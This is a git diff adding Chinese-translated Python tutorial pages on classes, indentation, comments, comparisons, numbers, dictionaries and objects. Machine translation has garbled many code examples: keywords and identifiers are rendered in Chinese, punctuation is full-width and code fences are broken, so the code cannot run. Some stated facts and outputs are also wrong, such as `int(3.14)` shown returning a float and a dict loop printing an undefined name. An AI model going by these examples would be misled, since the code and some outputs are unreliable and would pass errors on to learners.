+与其他编程语言相比，Python的类机制添加的类最少 新的语法和语义。它是C ++中的类机制的混合体。 Python类提供面向对象编程的所有标准功能： 类继承机制允许多个基类， 派生类可以覆盖其基类或类的任何方法， 并且方法可以调用具有相同名称的基类的方法。 对象可以包含任意数量和种类的数据。 与模块一样，类也参与Python的动态特性： 它们是在运行时创建的，可以在创建后进一步修改。
+
+#### 类定义语法：
+
+最简单的类定义形式如下所示：
+
+```python
+class ClassName: 
+    <statement-1> 
+        ... 
+        ... 
+        ... 
+    <statement-N> 
+ ``` 
+ 
+ #### Class Objects: 
+ 
+ Class objects support two kinds of operations: attribute references and instantiation. 
+ 
+ Attribute references use the standard syntax used for all attribute references in Python: `obj.name`. 
+ Valid attribute names are all the names that were in the class's namespace when the class object was created. 
+ So, if the class definition looked like this: 
+```
+
+蟒蛇 class MyClass： “”一个简单的示例类“”“ 我= 12345
+```
+def f(self): 
+    return 'hello world' 
+```
+
+```
+Then `MyClass.i` and `MyClass.f` are valid attribute references, returning an integer and a function object, respectively. 
+ Class attributes can also be assigned to, so you can change the value of `MyClass.i` by assignment. `__doc__` is also a valid attribute, returning the docstring belonging to the class: `"A simple example class"`. 
+ 
+ Class instantiation uses function notation. Just pretend that the class object is a parameterless function that returns a new instance of the class. For example (assuming the above class): 
+```
+
+蟒蛇 x = MyClass（）
+```
+Creates a new instance of the class and assigns this object to the local variable x. 
+ 
+ The instantiation operation (“calling” a class object) creates an empty object. 
+ Many classes like to create objects with instances customized to a specific initial state. 
+ Therefore a class may define a special method named __init__(), like this: 
+```
+
+蟒蛇 def **init** （self）： self.data = \[\]
+```
+When a class defines an `__init__()` method, class instantiation automatically invokes `__init__()` for the newly-created class instance. 
+ So in this example, a new, initialized instance can be obtained by: 
+```
+
+蟒蛇 x = MyClass（）
+```
+Of course, the `__init__()` method may have arguments for greater flexibility. 
+ In that case, arguments given to the class instantiation operator are passed on to `__init__()`. For example, 
+```
+
+蟒蛇 类复杂： def **init** （self，realpart，imagpart）： self.r = realpart self.i = imagpart ...
+
+x =复数（3.0，-4.5）
+
+> > > xr，xi （3.0，-4.5） \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/code-blocks-and-indentation/index.md b/client/src/guide/chinese/python/code-blocks-and-indentation/index.md
new file mode 100644
index 0000000000..c696303ade
--- /dev/null
+++ b/client/src/guide/chinese/python/code-blocks-and-indentation/index.md
@@ -0,0 +1,48 @@
+---
+title: Python Code Blocks and Indentation
+localeTitle: Python代码块和缩进
+---
+在Python中编码时，通常不要混合制表符和空格。这样做可能会导致`TabError` ，并且您的程序将崩溃。在编码时保持一致 - 选择使用制表符或空格缩进，并在整个程序中遵循您选择的约定。
+
+#### 代码块和缩进
+
+Python最显着的特点之一是使用缩进来标记代码块。考虑我们简单的密码检查程序中的if语句：
+
+\`\`\`python 如果pwd =='apple'： 打印（'登录...'） 其他： 打印（'密码错误。'）
+
+打印（'全部完成！'）
+```
+The lines print('Logging on ...') and print('Incorrect password.') are two separate code blocks. These ones happen to be only a single line long, but Python lets you write code blocks consisting of any number of statements. 
+ 
+ To indicate a block of code in Python, you must indent each line of the block by the same amount. The two blocks of code in our example if-statement are both indented four spaces, which is a typical amount of indentation for Python. 
+ 
+ In most other programming languages, indentation is used only to help make the code look pretty. But in Python, it is required for indicating what block of code a statement belongs to. For instance, the final print('All done!') is not indented, and so is not part of the else-block. 
+ 
+ Programmers familiar with other languages often bristle at the thought that indentation matters: Many programmers like the freedom to format their code how they please. However, Python indentation rules are quite simple, and most programmers already use indentation to make their code readable. Python simply takes this idea one step further and gives meaning to the indentation. 
+ 
+ #### If/elif-statements 
+ An if/elif-statement is a generalized if-statement with more than one condition. It is used for making complex decisions. For example, suppose an airline has the following “child” ticket rates: Kids 2 years old or younger fly for free, kids older than 2 but younger than 13 pay a discounted child fare, and anyone 13 years or older pays a regular adult fare. The following program determines how much a passenger should pay: 
+```
+
+蟒蛇
+
+# airfare.py
+
+age = int（输入（'你多大了？'）） 如果年龄<= 2： 打印（'免费'） elif 2 <年龄<13岁： 打印（'儿童票价） 其他： 打印（'成人票价'）
+```
+After Python gets age from the user, it enters the if/elif-statement and checks each condition one after the other in the order they are given. So first it checks if age is less than 2, and if so, it indicates that the flying is free and jumps out of the elif-condition. If age is not less than 2, then it checks the next elif-condition to see if age is between 2 and 13. If so, it prints the appropriate message and jumps out of the if/elif-statement. If neither the if-condition nor the elif-condition is True, then it executes the code in the else-block. 
+ 
+ #### Conditional expressions 
+ Python has one more logical operator that some programmers like (and some don't!). It's essentially a shorthand notation for if-statements that can be used directly within expressions. Consider this code: 
+```
+
+蟒蛇 food = input（“你最喜欢的食物是什么？”） 如果食物=='羊''其他'yum'，回复='yuck'
+```
+The expression on the right-hand side of = in the second line is called a conditional expression, and it evaluates to either 'yuck' or 'yum'. It's equivalent to the following: 
+```
+
+蟒蛇 food = input（“你最喜欢的食物是什么？”） 如果食物=='羊肉'： 回复='哎' 其他： 回复='yum' \`\`\`
+
+条件表达式通常比相应的if / else语句短，但不够灵活或易于阅读。通常，您应该在使代码更简单时使用它们。
+
+[Python文档 - 缩进](https://docs.python.org/3/reference/lexical_analysis.html#indentation)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/commenting-code/index.md b/client/src/guide/chinese/python/commenting-code/index.md
new file mode 100644
index 0000000000..01aef88aa3
--- /dev/null
+++ b/client/src/guide/chinese/python/commenting-code/index.md
@@ -0,0 +1,38 @@
+---
+title: Python Commenting Code
+localeTitle: Python评论代码
+---
+注释用于注释，描述或解释复杂或难以理解的代码。当解释器编译为字节码时，Python会故意忽略注释。 [`PEP 8`](https://www.python.org/dev/peps/pep-0008/#comments)有一个处理注释的部分。它们还通过添加简单和描述性语言来增加代码的可读性，以便更好地理解。
+
+**阻止**和**内联**注释以`#`开头，后跟注释前的空格：
+
+```python
+    # This is a block comment. 
+    print('Hello world!') # This is an inline commment. 
+```
+
+Python没有包含编写多行注释的正式方法。跨越多行的注释的每一行应以`#`和空格开头：
+
+```python
+    # This is the first line of a multiline comment. 
+    # This is the second line. 
+```
+
+另一种评论是**文档字符串** ，记录在[`PEP 257`](https://www.python.org/dev/peps/pep-0257/) 。文档字符串是一种特定类型的注释，它将成为`__doc__`属性。
+
+要使字符串文字成为文档字符串，它必须以`\"\"\"`开头和结尾，并且是它正在记录的模块，函数，类或方法定义的第一个语句：
+
+```python
+    class SomeClass(): 
+        """Summary line for SomeClass. 
+ 
+        More elaborate descriptions may require using a 
+        a multiline docstring. 
+        """ 
+ 
+        def method_a(self): 
+            """Single line summary of method_a.""" 
+            pass 
+```
+
+以`"""`开头和结尾的字符串文字不是文档字符串（不是第一个语句），可以用于多行字符串。它们不会成为`__doc__`属性。如果它们没有分配给变量，它们将不会生成字节码。关于将它们用作[此处的](http://stackoverflow.com/questions/7696924/multiline-comments-in-python)多行注释，有一些讨论。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/comparisons/index.md b/client/src/guide/chinese/python/comparisons/index.md
new file mode 100644
index 0000000000..75f2099110
--- /dev/null
+++ b/client/src/guide/chinese/python/comparisons/index.md
@@ -0,0 +1,84 @@
+---
+title: Python Comparisons
+localeTitle: Python比较
+---
+[Python文档 - 比较](https://docs.python.org/3/library/stdtypes.html#comparisons)
+
+Python中有八个比较操作。它们都具有相同的优先级（高于布尔操作的优先级）。比较可以任意链接;例如， `x < y <= z`等效于`x < y and y <= z` ，除了`y`仅被评估一次（但在两种情况下，当`x < y`被发现为假时，根本不评估`z` ）。
+
+此表总结了比较操作：
+
+操作|含义  
+\--------- | -----------------------  
+`<` |严格不足  
+`<=` |小于或等于 `>` |严格大于 `>=` |大于或等于 `==` |等于 `!=` |不等于 `is` |对象身份  
+`is not` |否定了对象的身份
+
+除了不同的数字类型之外，不同类型的对象永远不会相等。此外，某些类型（例如，函数对象）仅支持简并比较概念，其中该类型的任何两个对象都是不相等的。在将复数与另一个内置数值类型进行比较时，当对象具有无法比较的不同类型时，或者在没有定义的其他情况下， `<` ， `<=` ， `>`和`>=`运算符将引发`TypeError`异常排序。
+
+除非类定义`__eq__()`方法，否则类的非相同实例通常会比较为不相等。
+
+除非该类定义了足够多的方法`__lt__()` ， `__le__()` ， `__gt__()`和`__ge__()` ，否则不能对相同类的其他实例或其他类型的对象排序类的实例（一般情况下） ， `__lt__()`和`__eq__()`就足够了，如果你想要比较运算符的常规含义）。
+
+`is`和`is not`运营商的行为无法定制;它们也可以应用于任何两个对象，并且永远不会引发异常。
+
+我们还可以将`<`和`>`运算符链接在一起。例如， `3 < 4 < 5`将返回`True` ，但`3 < 4 > 5`将不返回`True` 。我们也可以链接相等运算符。例如， `3 == 3 < 5`将返回`True`但`3 == 5 < 5`将不返回`True` 。
+
+### 平等比较 - “是”与“==”
+
+在Python中，有两个比较运算符允许我们检查两个对象是否相等。 `is`运算符和`==`运算符。但是，他们之间有一个关键的区别！
+
+'是'和'=='之间的关键区别可以概括为：
+
+*   `is`用来比较**认同**
+*   `==`用于比较**相等**
+
+## 例
+
+首先，在Python中创建一个列表。
+
+```python
+myListA = [1,2,3] 
+```
+
+接下来，创建该列表的副本。
+
+```python
+myListB = myListA 
+```
+
+如果我们使用'=='运算符或'is'运算符，两者都将产生**True**输出。
+
+```python
+>>> myListA == myListB # both lists contains similar elements 
+ True 
+ >>> myListB is myListA # myListB contains the same elements 
+ True 
+```
+
+这是因为myListA和myListB都指向同一个列表变量，我在Python程序的开头定义了该变量。两个列表在身份和内容上完全相同。
+
+但是，如果我现在创建一个新列表怎么办？
+
+```python
+myListC = [1,2,3] 
+```
+
+执行`==`运算符仍然显示两个列表在内容方面是相同的。
+
+```python
+>>> myListA == myListC 
+ True 
+```
+
+但是，执行`is`运算符现在将生成`False`输出。这是因为myListA和myListC是两个不同的变量，尽管包含相同的数据。即使它们看起来一样，但它们是**不同的** 。
+
+```python
+>>> myListA is myListC 
+ False # both lists have different reference 
+```
+
+总结一下：
+
+*   如果两个变量都指向同一个引用， `is`表达式输出为`True`
+*   如果两个变量包含相同的数据，则`==`表达式输出`True`
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/complex-numbers/index.md b/client/src/guide/chinese/python/complex-numbers/index.md
new file mode 100644
index 0000000000..cc1d8d43a1
--- /dev/null
+++ b/client/src/guide/chinese/python/complex-numbers/index.md
@@ -0,0 +1,62 @@
+---
+title: Python Complex Numbers
+localeTitle: Python复杂数字
+---
+复数具有实部和虚部，每个部分由浮点数表示。
+
+可以使用虚构的文字创建复数的虚部，这会产生一个复数，其实部为`0.0` ：
+
+```python
+>>> a = 3.5j 
+ >>> type(a) 
+ <class 'complex'> 
+ >>> print(a) 
+ 3.5j 
+ >>> a.real 
+ 0.0 
+ >>> a.imag 
+ 3.5 
+```
+
+不存在用于创建具有非零实部和虚部的复数的文字。要创建非零实部复数，请将虚构文字添加到浮点数：
+
+```python
+>>> a = 1.1 + 3.5j 
+ >>> type(a) 
+ <class 'complex'> 
+ >>> print(a) 
+ (1.1+3.5j) 
+ >>> a.real 
+ 1.1 
+ >>> a.imag 
+ 3.5 
+```
+
+或者使用[复杂的构造函数](https://docs.python.org/3/library/functions.html#complex) 。
+
+```python
+class complex([real[, imag]]) 
+```
+
+用于调用复杂构造函数的参数可以是任一参数的数字（包括`complex` ）类型：
+
+```python
+>>> complex(1, 1) 
+ (1+1j) 
+ >>> complex(1j, 1j) 
+ (-1+1j) 
+ >>> complex(1.1, 3.5) 
+ (1.1+3.5j) 
+ >>> complex(1.1) 
+ (1.1+0j) 
+ >>> complex(0, 3.5) 
+ 3.5j 
+```
+
+`string`也可以用作参数。如果将字符串用作参数，则不允许使用第二个参数
+
+```python
+>>> complex("1.1+3.5j") 
+ (1.1+3.5j) 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/containers/index.md b/client/src/guide/chinese/python/containers/index.md
new file mode 100644
index 0000000000..6c12844c84
--- /dev/null
+++ b/client/src/guide/chinese/python/containers/index.md
@@ -0,0 +1,7 @@
+---
+title: Python Containers
+localeTitle: Python容器
+---
+某些对象包含对其他对象的引用;这些被称为容器。容器的示例是元组，列表和字典。引用是容器值的一部分。在大多数情况下，当我们谈论容器的价值时，我们意味着价值，而不是所包含对象的身份;但是，当我们谈论容器的可变性时，只暗示了直接包含的对象的身份。因此，如果不可变容器（如元组）包含对可变对象的引用，则如果更改了可变对象，则其值会更改。
+
+[Python文档 - 对象值和类型](https://docs.python.org/3/reference/datamodel.html#objects-values-and-types)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/converting-integer-to-string-in-python/index.md b/client/src/guide/chinese/python/converting-integer-to-string-in-python/index.md
new file mode 100644
index 0000000000..79397626f8
--- /dev/null
+++ b/client/src/guide/chinese/python/converting-integer-to-string-in-python/index.md
@@ -0,0 +1,75 @@
+---
+title: Converting Integer to String in Python
+localeTitle: 在Python中将整数转换为字符串
+---
+## 在Python中将整数转换为字符串
+
+与许多其他语言不同，Python在与字符串连接时不会隐式地将整数（或浮点数）强制转换为字符串。幸运的是，Python有一个方便的内置函数`str()` ，它将传入的参数转换为字符串格式。
+
+#### 错误的方法
+
+来自其他语言的程序员可能会尝试执行以下字符串连接，从而产生错误：
+
+```py
+age = 18 
+ 
+ string = "Hello, I am " + age + " years old" 
+```
+
+[在repl.it上运行代码](https://repl.it/JyYH/0)
+
+显示的错误是
+```
+Traceback (most recent call last): 
+  File "python", line 3, in <module> 
+ TypeError: must be str, not int 
+```
+
+`TypeError: must be str, not int`表示必须首先将整数转换为要连接的字符串。
+
+#### 正确的方式
+
+简单连接示例：
+
+```py
+age = 18 
+ 
+ print("Hello, I am " + str(age) + " years old") 
+ 
+ # Output 
+ # Hello, I am 18 years old 
+```
+
+[在repl.it上运行代码](https://repl.it/Jz8Q/0)
+
+使用单个字符串打印`1 2 3 4 5 6 7 8 9 10`
+
+```py
+result = "" 
+ 
+ for i in range(1, 11): 
+    result += str(i) + " " 
+ 
+ print(result) 
+ 
+ # Output 
+ # 1 2 3 4 5 6 7 8 9 10 
+```
+
+[在repl.it上运行代码](https://repl.it/KBLB/0)
+
+#### 逐行解释上面的代码
+
+1.  首先，将变量“result”分配给空字符串。
+2.  For循环用于遍历数字列表。
+3.  使用范围功能生成此数字列表。
+4.  所以range（1,11）将生成一个从1到10的数字列表。
+5.  在每个for循环迭代中，这个'i'变量将占用1到10之间的值。
+6.  在变量i = 1的第一次迭代时，则变量\[result = result + str（i）+“（空格字符）”\]，str（i）将作为整数值的'i'转换为字符串值。
+7.  由于i = 1，在第一次迭代时最终结果= 1。
+8.  并且相同的过程一直持续到i = 10并且最后在最后一次迭代之后结果= 1 2 3 4 5 6 7 8 9 10。
+9.  因此，当我们最终在for循环后打印结果时，控制台上的输出为'1 2 3 4 5 6 7 8 9 10'。
+
+#### 更多信息：
+
+[`str()`官方Python文档](https://docs.python.org/3/library/stdtypes.html#str)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/creating-guis-in-python3/index.md b/client/src/guide/chinese/python/creating-guis-in-python3/index.md
new file mode 100644
index 0000000000..83a5310c6e
--- /dev/null
+++ b/client/src/guide/chinese/python/creating-guis-in-python3/index.md
@@ -0,0 +1,9 @@
+---
+title: Creating GUI's in Python3
+localeTitle: 在Python3中创建GUI
+---
+# 在Python 3中创建GUI
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/java/collections/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/data-structures/dictionaries/index.md b/client/src/guide/chinese/python/data-structures/dictionaries/index.md
new file mode 100644
index 0000000000..d323eb258a
--- /dev/null
+++ b/client/src/guide/chinese/python/data-structures/dictionaries/index.md
@@ -0,0 +1,130 @@
+---
+title: The Python Dict
+localeTitle: Python Dict
+---
+python中的Dictionary（又名“dict”）是一种内置数据类型，可用于存储**`key-value`**对。这允许您将**`dict`**视为存储和组织数据的_数据库_ 。
+
+关于字典的特殊之处在于它们的实现方式。类似哈希表的结构使其易于检查 存在 - 这意味着我们可以轻松确定字典中是否存在特定键而无需检查 每个元素。 Python解释器只需转到位置键并检查密钥是否存在。
+
+字典几乎可以使用任意数据类型，如字符串，整数等，用于键。但是，不可清除的值， 也就是说，包含列表，字典或其他可变类型（通过值而不是通过对象标识进行比较）的值不能用作键。用于键的数字类型遵循用于数字比较的常规规则：如果两个数字比较相等（例如`1`和`1.0` ），则它们可以互换地用于索引相同的字典条目。 （但请注意，由于计算机将浮点数存储为近似值，因此将它们用作字典键通常是不明智的。）
+
+字典的一个最重要的要求是密钥**必须**是唯一的。  
+要创建一个空字典，只需使用一对大括号：
+
+```python
+    >>> teams = {} 
+    >>> type(teams) 
+    >>> <class 'dict'> 
+```
+
+  
+要创建包含一些初始值的非空字典，请放置以逗号分隔的键值对列表：
+
+```python
+    >>> teams = {'barcelona': 1875, 'chelsea': 1910} 
+    >>> teams 
+    {'barcelona': 1875, 'chelsea': 1910} 
+```
+
+将键值对添加到现有字典很容易：
+
+```python
+    >>> teams['santos'] = 1787 
+    >>> teams 
+    {'chelsea': 1910, 'barcelona': 1875, 'santos': 1787} # Notice the order - Dictionaries are unordered ! 
+    >>> # extracting value - Just provide the key 
+    ... 
+    >>> teams['barcelona'] 
+    1875 
+```
+
+  
+**`del`**运算符用于从dict中删除键值对。在已经使用的密钥再次用于存储值的情况下，与该密钥关联的旧值完全丢失。另外，请记住，使用不存在的密钥提取值是错误的。
+
+```python
+    >>> del teams['santos'] 
+    >>> teams 
+    {'chelsea': 1910, 'barcelona': 1875} 
+    >>> teams['chelsea'] = 2017 # overwriting 
+    >>> teams 
+    {'chelsea': 2017, 'barcelona': 1875} 
+```
+
+  
+**`in`** keyword可用于检查dict中是否存在密钥：
+
+```python
+    >>> 'sanots' in teams 
+    False 
+    >>> 'barcelona' in teams 
+    True 
+    >>> 'chelsea' not in teams 
+    False 
+```
+
+  
+**`keys`**是一种内置_方法_ ，可用于获取给定字典的键。要将dict中存在的键提取为列表：
+
+```python
+    >>> club_names = list(teams.keys()) 
+    >>> club_names 
+    ['chelsea', 'barcelona'] 
+```
+
+  
+另一种创建字典的方法是使用**`dict()`**方法：
+
+```python
+    >>> players = dict( [('messi','argentina'), ('ronaldo','portugal'), ('kaka','brazil')] ) # sequence of key-value pair is passed 
+    >>> players 
+    {'ronaldo': 'portugal', 'kaka': 'brazil', 'messi': 'argentina'} 
+    >>> 
+    >>> # If keys are simple strings, it's quite easier to specify pairs using keyword arguments 
+    ... 
+    >>> dict( totti = 38, zidane = 43 ) 
+    {'zidane': 43, 'totti': 38} 
+```
+
+也可以使用Dict理解来从任意键和值表达式创建字典：
+
+```python
+    >>> {x: x**2 for x in (2, 4, 6)} 
+    {2: 4, 4: 16, 6: 36} 
+```
+
+**在词典中循环**  
+简单地循环遍历字典中的键，而不是键和值：
+
+```python
+    >>> d = {'x': 1, 'y': 2, 'z': 3} 
+    >>> for key in d: 
+    ...     print(key) # do something 
+    ... 
+    x 
+    y 
+    z 
+```
+
+要循环键和值，您可以使用以下内容：  
+对于Python 2.x：
+
+```python
+    >>> for key, item in d.iteritems(): 
+    ...     print items 
+    ... 
+    1 
+    2 
+    3 
+```
+
+对Python 3.x使用**`items()`** ：
+
+```python
+    >>> for key, item in d.items(): 
+    ...     print(key, items) 
+    ... 
+    x 1 
+    y 2 
+    z 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/data-structures/floating-point-numbers/index.md b/client/src/guide/chinese/python/data-structures/floating-point-numbers/index.md
new file mode 100644
index 0000000000..bd6a3c715d
--- /dev/null
+++ b/client/src/guide/chinese/python/data-structures/floating-point-numbers/index.md
@@ -0,0 +1,118 @@
+---
+title: Python Floating Point Numbers
+localeTitle: Python浮点数
+---
+有关浮点数的一般信息以及它们如何在Python中工作，可以在[这里](https://docs.python.org/3/tutorial/floatingpoint.html)找到。
+
+几乎所有Python的实现都遵循IEEE 754规范：二进制浮点运算标准。更多信息可在[IEEE网站](http://grouper.ieee.org/groups/754/)上找到。
+
+可以使用[浮点文字](https://docs.python.org/3/reference/lexical_analysis.html#floating-point-literals)创建浮动对象：
+```
+>>> 3.14 
+ 3.14 
+ >>> 314\.    # Trailing zero(s) not required. 
+ 314.0 
+ >>> .314    # Leading zero(s) not required. 
+ 0.314 
+ >>> 3e0 
+ 3.0 
+ >>> 3E0     # 'e' or 'E' can be used. 
+ 3.0 
+ >>> 3e1     # Positive value after e moves the decimal to the right. 
+ 30.0 
+ >>> 3e-1    # Negative value after e moves the decimal to the left. 
+ 0.3 
+ >>> 3.14e+2 # '+' not required but can be used for exponent part. 
+ 314.0 
+```
+
+数字文字不包含符号，但是可以通过在文字前面没有空格的一元`-` （减号）运算符作为前缀来创建负浮点对象。
+```
+>>> -3.141592653589793 
+ -3.141592653589793 
+ >>> type(-3.141592653589793) 
+ <class 'float'> 
+```
+
+同样，正浮点对象可以使用一元`+ (`加号）运算符作为前缀，在文字前没有空格。通常`+`省略：
+```
+>>> +3.141592653589793 
+ 3.141592653589793 
+```
+
+请注意，前导零和尾随零对浮点文字有效
+```
+>>> 0.0 
+ 0.0 
+ >>> 00.00 
+ 0.0 
+ >>> 00100.00100 
+ 100.001 
+ >>> 001e0010      # Same as 1e10 
+ 10000000000.0 
+```
+
+[`float`构造函数](https://docs.python.org/3/library/functions.html#float)是另一种创建`float`对象的方法。
+
+在可能的情况下，首选创建具有浮点文字的`float`对象：
+```
+>>> a = 3.14         # Prefer floating point literal when possible. 
+ >>> type(a) 
+ <class 'float'> 
+ >>> b = int(3.14)    # Works but unnecessary. 
+ >>> type(b) 
+ <class 'float'> 
+```
+
+但是，float构造函数允许从其他数字类型创建float对象：
+```
+>>> a = 4 
+ >>> type(a) 
+ <class 'int'> 
+ >>> print(a) 
+ 4 
+ >>> b = float(4) 
+ >>> type(b) 
+ <class 'float'> 
+ >>> print(b) 
+ 4.0 
+ >>> float(400000000000000000000000000000000) 
+ 4e+32 
+ >>> float(.00000000000000000000000000000004) 
+ 4e-32 
+ >>> float(True) 
+ 1.0 
+ >>> float(False) 
+ 0.0 
+```
+
+`float`构造函数还将从表示数字文字的字符串中创建`float`对象：
+```
+>>> float('1') 
+ 1.0 
+ >>> float('.1') 
+ 0.1 
+ >>> float('3.') 
+ 3.0 
+ >>> float('1e-3') 
+ 0.001 
+ >>> float('3.14') 
+ 3.14 
+ >>> float('-.15e-2') 
+ -0.0015 
+```
+
+`float`构造函数也可用于表示`NaN` （非数字），负`infinity`和`infinity`数字表示（注意这些字符串不区分大小写）：
+```
+>>> float('nan') 
+ nan 
+ >>> float('inf') 
+ inf 
+ >>> float('-inf') 
+ -inf 
+ >>> float('infinity') 
+ inf 
+ >>> float('-infinity') 
+ -inf 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/data-structures/index.md b/client/src/guide/chinese/python/data-structures/index.md
new file mode 100644
index 0000000000..650d3670b0
--- /dev/null
+++ b/client/src/guide/chinese/python/data-structures/index.md
@@ -0,0 +1,18 @@
+---
+title: The Python Data Structures
+localeTitle: Python数据结构
+---
+数据结构是在计算机中组织数据的特定方式，以便可以有效地使用它。 Python带有一组强大的内置数据结构。一些最常用的是： -
+
+*   清单
+*   元组
+*   字典
+
+主要是，数据结构可分为两类： -
+
+*   可变： - 可变数据结构是一种结构，其状态可在创建后进行修改。 Python列表和字典是可变的。
+*   不可变： - 不可修改不可变数据结构。示例： - 创建元组后，我们无法更新其中的值。
+
+## 参考：
+
+[Python数据结构](https://docs.python.org/3.7/tutorial/datastructures.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/data-structures/integers/index.md b/client/src/guide/chinese/python/data-structures/integers/index.md
new file mode 100644
index 0000000000..570f58fdf6
--- /dev/null
+++ b/client/src/guide/chinese/python/data-structures/integers/index.md
@@ -0,0 +1,165 @@
+---
+title: Python Integers
+localeTitle: Python整数
+---
+python中整数的理论域是负无穷大到无穷大。实际上，整数值受可用内存量的限制。
+
+在Python 2中， **`int`** ，数字适合32或64位_C长_ ，而**`long`**数字受可用内存限制。 Python 3将这两种类型统一为**`int`** ，更多信息在[PEP 237中](https://www.python.org/dev/peps/pep-0237/) 。
+
+**使用整数文字创建`int`**
+
+[整数文字](https://docs.python.org/3/reference/lexical_analysis.html#integer-literals)
+
+可以使用整数文字创建_整数对象_ 。没有小数的简单数字是整数文字：
+```
+>>> 1234567890           # Unadorned numbers are integer literals 
+ 1234567890 
+ >>> type(1234567890) 
+ <class 'int'> 
+```
+
+数字文字不包含符号，但是可以通过在文字前面没有空格的一元`-` （减号）运算符作为前缀来创建负_整数对象_ ：
+```
+>>> -1234567890 
+ -1234567890 
+ >>> type(-1234567890) 
+ <class 'int'> 
+```
+
+同样，可以通过在一元`+` （加号）运算符前面添加数字之前没有空格来创建正整数对象。通常`+`被忽略：
+```
+>>> +1234 
+ 1234 
+```
+
+二进制（基数2，前缀： `0b`或`0B` ），八进制（基数8，前缀： `0o`或`0O` ）和十六进制（基数16，前缀： `0x`或`0X` ）整数也可以使用整数文字创建：
+```
+>>> 0b1, 0b10, 0b11 
+ (1, 2, 3) 
+ >>> 0o1, 0o10, 0o11 
+ (1, 8, 9) 
+ >>> 0x1, 0x10, 0x11 
+ (1, 16, 17) 
+```
+
+请注意， **不允许使用**前导0表示非零整数文字：
+```
+>>> 0     # Zero by itself is okay. 
+ 0 
+ >>> 01    # Leading zero(s) cause SyntaxError. 
+  File "<stdin>", line 1 
+    01 
+     ^ 
+ SyntaxError: invalid token 
+```
+
+`int` [构造函数](https://docs.python.org/3/library/functions.html#int)是另一种创建_整数对象的方法_ 。
+```
+class int(x=0) 
+ class int(x, base=10) 
+```
+
+在可能的情况下，首选创建具有整数文字的_整数对象_ ：
+```
+>>> a = 1         # Prefer integer literal when possible. 
+ >>> type(a) 
+ <class 'int'> 
+ >>> b = int(1)    # Works but unnecessary. 
+ >>> type(b) 
+ <class 'int'> 
+```
+
+但是，构造函数允许从其他数字类型创建_整数对象_ ：
+```
+>>> a = 1.123 
+ >>> type(a) 
+ <class 'float'> 
+ >>> print(a) 
+ 1.123 
+ >>> b = int(1.123) 
+ >>> type(b) 
+ <class 'int'> 
+ >>> print(b) 
+ 1 
+```
+
+对浮点数使用`int`构造函数会将数字截断为零：
+```
+>>> int(-1.23) 
+ -1 
+ >>> int(1.23) 
+ 1 
+```
+
+内置的`boolean`常量是`bool`类的实例，并且是`int`类的子类，使它们成为一种数字类型：
+```
+>>> type(True) 
+ <class 'bool'> 
+ >>> issubclass(bool, int) 
+ True 
+```
+
+如果这对你没有意义，请不要担心。现在只记得用`boolean`对象调用int构造函数将返回_整数对象_ ：
+```
+>>> int(True) 
+ 1 
+ >>> int(False) 
+ 0 
+```
+
+`int`构造函数还将从字符串中生成_整数对象_ ：
+```
+>>> a = "10" 
+ >>> type(a) 
+ <class 'str'> 
+ >>> b = int("10") 
+ >>> type(b) 
+ <class 'int'> 
+```
+
+`int`构造函数的_字符串_必须表示整数文字：
+
+`int`构造函数的第二个参数是指定一个base（默认值：10）。有效基数为0和2-36。
+
+如果提供了显式基数，则第一个参数必须是字符串。
+```
+>>> int("111", 2) 
+ 7 
+ >>> int(111, 2) 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ TypeError: int() can't convert non-string with explicit base 
+```
+
+用于具有显式基础的`int`构造函数的字符串必须是该基数的有效整数文字：
+```
+>>> int('11', 2) 
+ 3 
+ >>> int('12', 2) 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: invalid literal for int() with base 2: '12' 
+```
+
+可以使用前缀和非前缀的整数文字字符串，但是，如果使用，前缀必须与提供的基数匹配。
+```
+>>> int('1101', 2) 
+ 13 
+ >>> int('0b1101', 2) 
+ 13 
+ >>> int('0x1101', 2) 
+ Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ ValueError: invalid literal for int() with base 2: '0x1101' 
+```
+
+如果使用带前缀的字符串和基数0，则创建的整数对象将使用前缀指定的基数。如果没有使用前缀，则假定基数为10
+```
+>>> int('100', 0) 
+ 100 
+ >>> int('0b100', 0) 
+ 4 
+ >>> int('0o100', 0) 
+ 64 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/python/data-structures/objects/index.md b/client/src/guide/chinese/python/data-structures/objects/index.md
new file mode 100644
index 0000000000..08d907a224
--- /dev/null
+++ b/client/src/guide/chinese/python/data-structures/objects/index.md
@@ -0,0 +1,116 @@
+---
+title: The Python Objects
+localeTitle: Python对象
+---
+> 在Python中，一切都是_对象_ 。
+
+_对象_表示属性的逻辑分组。属性是数据和/或功能。在Python中创建对象时，将使用_标识_ ， _类型_和_值_创建对象。
+
+在其他语言中， _原始数据_是没有_属性_ （属性） _值_ 。例如，在javascript `undefined` ， `null` ， `boolean` ， `string` ， `number`和`symbol` （ECMAScript 2015中的新内容）是原语。
+
+在Python中，没有原语。 `None` ， _布尔值_ ， _字符串_ ， _数字_甚至_函数_都是_对象，_无论它们是如何创建的。
+
+我们可以使用一些内置函数来演示：
+
+*   [`id`](https://docs.python.org/3/library/functions.html#id)
+*   [`type`](https://docs.python.org/3/library/functions.html#type)
+*   [`dir`](https://docs.python.org/3/library/functions.html#dir)
+*   [`issubclass`](https://docs.python.org/3/library/functions.html#issubclass)
+
+内置常量`None` ， `True`和`False`是_对象_ ：
+
+我们在这里测试`None`对象。
+
+```python
+>>> id(None) 
+ 4550218168 
+ >>> type(None) 
+ <class 'NoneType'> 
+ >>> dir(None) 
